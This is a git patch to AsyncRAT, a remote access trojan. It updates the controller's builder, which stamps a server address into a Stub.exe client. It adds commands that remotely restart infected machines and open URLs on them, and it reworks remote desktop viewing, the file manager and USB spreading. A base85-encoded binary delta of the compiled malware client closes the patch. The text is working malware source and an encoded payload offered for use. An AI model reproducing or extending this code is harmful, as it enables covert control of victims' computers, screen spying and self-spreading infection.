From 9bf11d5cfe3f31627a81c492c48768dd889841be Mon Sep 17 00:00:00 2001 From: NYAN CAT Date: Fri, 26 Apr 2019 11:14:31 -0700 Subject: [PATCH] Update v0.4.1 -Fixed file manager - download file -Fixed builder form freeze -Added visit website -Added performance counter (making ping useful) -Improve remote desktop --- .../AsyncRAT-Sharp/Forms/Builder.Designer.cs | 2 - AsyncRAT-C#/AsyncRAT-Sharp/Forms/Builder.cs | 37 +++++++++++--- .../Forms/DownloadFile.Designer.cs | 8 --- .../AsyncRAT-Sharp/Forms/DownloadFile.cs | 7 +-- .../AsyncRAT-Sharp/Forms/DownloadFile.resx | 3 -- .../AsyncRAT-Sharp/Forms/Form1.Designer.cs | 36 ++++++++++++-- AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs | 46 ++++++++++++++++++ .../Forms/RemoteDesktop.Designer.cs | 4 +- .../AsyncRAT-Sharp/Forms/RemoteDesktop.cs | 32 ++++++------ .../Handle Packet/HandlePacket.cs | 29 ++++++++--- AsyncRAT-C#/AsyncRAT-Sharp/Resources/Stub.exe | Bin 141312 -> 139776 bytes AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs | 2 +- AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs | 22 ++++----- AsyncRAT-C#/Client/Client.csproj | 3 -- .../Client/Handle Packet/FileManager.cs | 3 +- .../Client/Handle Packet/HandlePacket.cs | 37 ++++++++++++-- AsyncRAT-C#/Client/Handle Packet/LimeUSB.cs | 14 ++++-- .../Client/Handle Packet/RemoteDesktop.cs | 26 +++++++--- AsyncRAT-C#/Client/Settings.cs | 2 +- AsyncRAT-C#/Client/Sockets/ClientSocket.cs | 9 +++- 20 files changed, 228 insertions(+), 94 deletions(-) diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Builder.Designer.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Builder.Designer.cs index 06682c2..1aeb8f3 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Builder.Designer.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Builder.Designer.cs @@ -180,8 +180,6 @@ // chkAnti // this.chkAnti.AutoSize = true; - this.chkAnti.Checked = true; - this.chkAnti.CheckState = System.Windows.Forms.CheckState.Checked; this.chkAnti.Location = new System.Drawing.Point(21, 40); this.chkAnti.Name = "chkAnti"; this.chkAnti.Size = new System.Drawing.Size(125, 24); diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Builder.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Builder.cs index dcb012c..6edd50f 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Builder.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Builder.cs @@ -4,6 +4,7 @@ using System.Windows.Forms; using dnlib.DotNet; using dnlib.DotNet.Emit; using System.IO; +using System.Threading.Tasks; namespace AsyncRAT_Sharp.Forms { @@ -14,7 +15,7 @@ namespace AsyncRAT_Sharp.Forms InitializeComponent(); } - private void button1_Click(object sender, EventArgs e) + private async void button1_Click(object sender, EventArgs e) { if (string.IsNullOrWhiteSpace(textIP.Text) || string.IsNullOrWhiteSpace(textPort.Text)) return; @@ -23,9 +24,9 @@ namespace AsyncRAT_Sharp.Forms if (string.IsNullOrWhiteSpace(textFilename.Text) || string.IsNullOrWhiteSpace(comboBoxFolder.Text)) return; if (!textFilename.Text.EndsWith("exe")) textFilename.Text += ".exe"; } - try { + button1.Enabled = false; var md = ModuleDefMD.Load(Path.Combine(Application.StartupPath, @"Stub\Stub.exe")); foreach (TypeDef type in md.Types) { @@ -72,17 +73,37 @@ namespace AsyncRAT_Sharp.Forms saveFileDialog1.FileName = "Client"; if (saveFileDialog1.ShowDialog() == DialogResult.OK) { - md.Write(saveFileDialog1.FileName); - MessageBox.Show("Done", "AsyncRAT | Builder", MessageBoxButtons.OK, MessageBoxIcon.Information); - Properties.Settings.Default.DNS = textIP.Text; - Properties.Settings.Default.Filename = textFilename.Text; - Properties.Settings.Default.Save(); - this.Close(); + bool isok = false; ; + await Task.Run(() => + { + try + { + md.Write(saveFileDialog1.FileName); + isok = true; + } + catch (Exception ex) + { + MessageBox.Show(ex.Message, "AsyncRAT | Builder", MessageBoxButtons.OK, MessageBoxIcon.Error); + isok = false; + } + }); + if (isok == true) + { + MessageBox.Show("Done!", "AsyncRAT | Builder", MessageBoxButtons.OK, MessageBoxIcon.Information); + Properties.Settings.Default.DNS = textIP.Text; + Properties.Settings.Default.Filename = textFilename.Text; + Properties.Settings.Default.Save(); + button1.Enabled = true; + this.Close(); + } + else + button1.Enabled = true; } } catch (Exception ex) { MessageBox.Show(ex.Message, "AsyncRAT | Builder", MessageBoxButtons.OK, MessageBoxIcon.Error); + button1.Enabled = true; } } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/DownloadFile.Designer.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/DownloadFile.Designer.cs index 0f51cd5..1c75256 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/DownloadFile.Designer.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/DownloadFile.Designer.cs @@ -35,7 +35,6 @@ this.labelsize = new System.Windows.Forms.Label(); this.label3 = new System.Windows.Forms.Label(); this.labelfile = new System.Windows.Forms.Label(); - this.timer2 = new System.Windows.Forms.Timer(this.components); this.SuspendLayout(); // // label1 @@ -79,12 +78,6 @@ this.labelfile.TabIndex = 0; this.labelfile.Text = ".."; // - // timer2 - // - this.timer2.Enabled = true; - this.timer2.Interval = 2500; - this.timer2.Tick += new System.EventHandler(this.Timer2_Tick); - // // DownloadFile // this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F); @@ -111,6 +104,5 @@ private System.Windows.Forms.Label label3; public System.Windows.Forms.Label labelfile; private System.Windows.Forms.Label label1; - private System.Windows.Forms.Timer timer2; } } \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/DownloadFile.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/DownloadFile.cs index ea5f4ef..5331c24 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/DownloadFile.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/DownloadFile.cs @@ -24,7 +24,7 @@ namespace AsyncRAT_Sharp.Forms public long dSize = 0; private void timer1_Tick(object sender, EventArgs e) { - labelsize.Text = $"{Methods.BytesToString(dSize)} \\ {Methods.BytesToString(C.BytesRecevied)}"; + labelsize.Text = $"{Methods.BytesToString(dSize)} \\ {Methods.BytesToString(C.BytesRecevied)}"; if (C.BytesRecevied > dSize) { labelsize.Text = "Downloaded"; @@ -37,10 +37,5 @@ namespace AsyncRAT_Sharp.Forms { if (C != null) C.Disconnected(); } - - private void Timer2_Tick(object sender, EventArgs e) - { - if (!C.ClientSocket.Connected) this.Close(); - } } } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/DownloadFile.resx b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/DownloadFile.resx index 84e852b..e9b4dee 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/DownloadFile.resx +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/DownloadFile.resx @@ -120,9 +120,6 @@ 17, 17 - - 131, 17 - diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.Designer.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.Designer.cs index c446b3b..7dd9899 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.Designer.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.Designer.cs @@ -37,12 +37,15 @@ this.lv_user = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.lv_os = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.lv_version = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.lv_prefor = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.contextMenuStrip1 = new System.Windows.Forms.ContextMenuStrip(this.components); this.cLIENTOPTIONSToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.cLOSEToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.rESTARTToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.uPDATEToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.uNISTALLToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.toolStripSeparator1 = new System.Windows.Forms.ToolStripSeparator(); + this.vISITWEBSITEToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.sENDMESSAGEBOXToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.sENDFILEToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.sENDFILETOMEMORYToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); @@ -84,7 +87,8 @@ this.lv_hwid, this.lv_user, this.lv_os, - this.lv_version}); + this.lv_version, + this.lv_prefor}); this.listView1.ContextMenuStrip = this.contextMenuStrip1; this.listView1.Dock = System.Windows.Forms.DockStyle.Fill; this.listView1.FullRowSelect = true; @@ -122,7 +126,7 @@ // // lv_os // - this.lv_os.Text = "OS"; + this.lv_os.Text = "OPERATING SYSTEM"; this.lv_os.Width = 179; // // lv_version @@ -130,12 +134,18 @@ this.lv_version.Text = "VERSION"; this.lv_version.Width = 126; // + // lv_prefor + // + this.lv_prefor.Text = "PERFORMANCE"; + this.lv_prefor.Width = 170; + // // contextMenuStrip1 // this.contextMenuStrip1.ImageScalingSize = new System.Drawing.Size(24, 24); this.contextMenuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { this.cLIENTOPTIONSToolStripMenuItem, this.toolStripSeparator1, + this.vISITWEBSITEToolStripMenuItem, this.sENDMESSAGEBOXToolStripMenuItem, this.sENDFILEToolStripMenuItem, this.sENDFILETOMEMORYToolStripMenuItem, @@ -149,12 +159,13 @@ this.bUILDERToolStripMenuItem}); this.contextMenuStrip1.Name = "contextMenuStrip1"; this.contextMenuStrip1.ShowImageMargin = false; - this.contextMenuStrip1.Size = new System.Drawing.Size(275, 346); + this.contextMenuStrip1.Size = new System.Drawing.Size(275, 376); // // cLIENTOPTIONSToolStripMenuItem // this.cLIENTOPTIONSToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { this.cLOSEToolStripMenuItem, + this.rESTARTToolStripMenuItem, this.uPDATEToolStripMenuItem, this.uNISTALLToolStripMenuItem}); this.cLIENTOPTIONSToolStripMenuItem.Name = "cLIENTOPTIONSToolStripMenuItem"; @@ -168,6 +179,13 @@ this.cLOSEToolStripMenuItem.Text = "CLOSE"; this.cLOSEToolStripMenuItem.Click += new System.EventHandler(this.cLOSEToolStripMenuItem_Click); // + // rESTARTToolStripMenuItem + // + this.rESTARTToolStripMenuItem.Name = "rESTARTToolStripMenuItem"; + this.rESTARTToolStripMenuItem.Size = new System.Drawing.Size(173, 30); + this.rESTARTToolStripMenuItem.Text = "RESTART"; + this.rESTARTToolStripMenuItem.Click += new System.EventHandler(this.RESTARTToolStripMenuItem_Click); + // // uPDATEToolStripMenuItem // this.uPDATEToolStripMenuItem.Name = "uPDATEToolStripMenuItem"; @@ -187,6 +205,13 @@ this.toolStripSeparator1.Name = "toolStripSeparator1"; this.toolStripSeparator1.Size = new System.Drawing.Size(271, 6); // + // vISITWEBSITEToolStripMenuItem + // + this.vISITWEBSITEToolStripMenuItem.Name = "vISITWEBSITEToolStripMenuItem"; + this.vISITWEBSITEToolStripMenuItem.Size = new System.Drawing.Size(274, 30); + this.vISITWEBSITEToolStripMenuItem.Text = "[0] VISIT WEBSITE"; + this.vISITWEBSITEToolStripMenuItem.Click += new System.EventHandler(this.VISITWEBSITEToolStripMenuItem_Click); + // // sENDMESSAGEBOXToolStripMenuItem // this.sENDMESSAGEBOXToolStripMenuItem.Name = "sENDMESSAGEBOXToolStripMenuItem"; @@ -351,7 +376,7 @@ // columnHeader2 // this.columnHeader2.Text = "Message"; - this.columnHeader2.Width = 500; + this.columnHeader2.Width = 705; // // performanceCounter1 // @@ -428,6 +453,9 @@ private System.Windows.Forms.ToolStripMenuItem uSBSPREADToolStripMenuItem; private System.Diagnostics.PerformanceCounter performanceCounter1; private System.Diagnostics.PerformanceCounter performanceCounter2; + private System.Windows.Forms.ToolStripMenuItem vISITWEBSITEToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem rESTARTToolStripMenuItem; + public System.Windows.Forms.ColumnHeader lv_prefor; } } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs index 8ad7b62..a79b60f 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs @@ -222,6 +222,27 @@ namespace AsyncRAT_Sharp } } + private void RESTARTToolStripMenuItem_Click(object sender, EventArgs e) + { + if (listView1.SelectedItems.Count > 0) + { + try + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "restart"; + foreach (ListViewItem C in listView1.SelectedItems) + { + Clients CL = (Clients)C.Tag; + ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes()); + } + } + catch (Exception ex) + { + MessageBox.Show(ex.Message); + } + } + } + private async void uPDATEToolStripMenuItem_Click(object sender, EventArgs e) { if (listView1.SelectedItems.Count > 0) @@ -460,6 +481,7 @@ namespace AsyncRAT_Sharp Clients CL = (Clients)C.Tag; ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes()); } + tabControl1.SelectedIndex = 1; } catch (Exception ex) { @@ -481,6 +503,7 @@ namespace AsyncRAT_Sharp Clients CL = (Clients)C.Tag; ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes()); } + tabControl1.SelectedIndex = 1; } catch (Exception ex) { @@ -488,5 +511,28 @@ namespace AsyncRAT_Sharp } } } + + private void VISITWEBSITEToolStripMenuItem_Click(object sender, EventArgs e) + { + if (listView1.SelectedItems.Count > 0) + { + string url = Interaction.InputBox("VISIT WEBSITE", "URL", "https://www.google.com"); + if (string.IsNullOrEmpty(url)) + return; + else + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "visitURL"; + msgpack.ForcePathObject("URL").AsString = url; + foreach (ListViewItem C in listView1.SelectedItems) + { + Clients CL = (Clients)C.Tag; + ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes()); + } + } + } + } + + } } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.Designer.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.Designer.cs index d720203..abaeb4a 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.Designer.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.Designer.cs @@ -60,8 +60,8 @@ this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); this.Name = "RemoteDesktop"; this.Text = "RemoteDesktop"; - this.Activated += new System.EventHandler(this.RemoteDesktop_Activated); - this.Deactivate += new System.EventHandler(this.RemoteDesktop_Deactivate); + //this.Activated += new System.EventHandler(this.RemoteDesktop_Activated); + //this.Deactivate += new System.EventHandler(this.RemoteDesktop_Deactivate); ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit(); this.ResumeLayout(false); diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.cs index ec51fa7..8a7346b 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.cs @@ -36,22 +36,22 @@ namespace AsyncRAT_Sharp.Forms if (!C.ClientSocket.Connected) this.Close(); } - private void RemoteDesktop_Activated(object sender, EventArgs e) - { - if (Active == false) - { - Active = true; - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "remoteDesktop"; - msgpack.ForcePathObject("Option").AsString = "true"; - ThreadPool.QueueUserWorkItem(C.BeginSend, msgpack.Encode2Bytes()); - decoder = new UnsafeStreamCodec(60); - } - } + //private void RemoteDesktop_Activated(object sender, EventArgs e) + //{ + // //if (Active == false) + // //{ + // // Active = true; + // // MsgPack msgpack = new MsgPack(); + // // msgpack.ForcePathObject("Packet").AsString = "remoteDesktop"; + // // msgpack.ForcePathObject("Option").AsString = "true"; + // // ThreadPool.QueueUserWorkItem(C.BeginSend, msgpack.Encode2Bytes()); + // // decoder = new UnsafeStreamCodec(60); + // //} + //} - private void RemoteDesktop_Deactivate(object sender, EventArgs e) - { - if (Active == true) Active = false; - } + //private void RemoteDesktop_Deactivate(object sender, EventArgs e) + //{ + // // if (Active == true) Active = false; + //} } } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs index 74b48ca..9358a9d 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs @@ -38,6 +38,7 @@ namespace AsyncRAT_Sharp.Handle_Packet Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString); Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("OS").AsString); Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Version").AsString); + Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Performance").AsString); Client.LV.ToolTipText = unpack_msgpack.ForcePathObject("Path").AsString; Client.ID = unpack_msgpack.ForcePathObject("HWID").AsString; Program.form1.listView1.Items.Insert(0, Client.LV); @@ -52,7 +53,16 @@ namespace AsyncRAT_Sharp.Handle_Packet case "Ping": { - Debug.WriteLine(unpack_msgpack.ForcePathObject("Message").AsString); + if (Program.form1.listView1.InvokeRequired) + { + Program.form1.listView1.BeginInvoke((MethodInvoker)(() => + { + if (Client.LV != null) + { + Client.LV.SubItems[Program.form1.lv_prefor.Index].Text = unpack_msgpack.ForcePathObject("Message").AsString; + } + })); + } } break; @@ -94,10 +104,10 @@ namespace AsyncRAT_Sharp.Handle_Packet { Program.form1.BeginInvoke((MethodInvoker)(() => { - RemoteDesktop RD = (RemoteDesktop)Application.OpenForms["RemoteDesktop:" + Client.ID]; + RemoteDesktop RD = (RemoteDesktop)Application.OpenForms["RemoteDesktop:" + unpack_msgpack.ForcePathObject("ID").AsString]; try { - if (RD != null && RD.Active == true) + if (RD != null) { byte[] RdpStream = unpack_msgpack.ForcePathObject("Stream").GetAsBytes(); Bitmap decoded = RD.decoder.DecodeData(new MemoryStream(RdpStream)); @@ -117,10 +127,12 @@ namespace AsyncRAT_Sharp.Handle_Packet } else { - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "remoteDesktop"; - msgpack.ForcePathObject("Option").AsString = "false"; - Client.BeginSend(msgpack.Encode2Bytes()); + //MsgPack msgpack = new MsgPack(); + //msgpack.ForcePathObject("Packet").AsString = "remoteDesktop"; + //msgpack.ForcePathObject("Option").AsString = "false"; + //Client.BeginSend(msgpack.Encode2Bytes()); + Client.Disconnected(); + return; } } catch (Exception ex) { Debug.WriteLine(ex.Message); } @@ -335,11 +347,12 @@ namespace AsyncRAT_Sharp.Handle_Packet } } } - catch (Exception ex) { Debug.WriteLine(ex.Message); } + GC.Collect(); + GC.WaitForPendingFinalizers(); } } } \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Stub.exe b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Stub.exe index 14f7f70e63ef94da9e0ac466e04a43d99478543e..9ad79923985f984c6fb457b1c2d3a75214761293 100644 GIT binary patch delta 36888 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 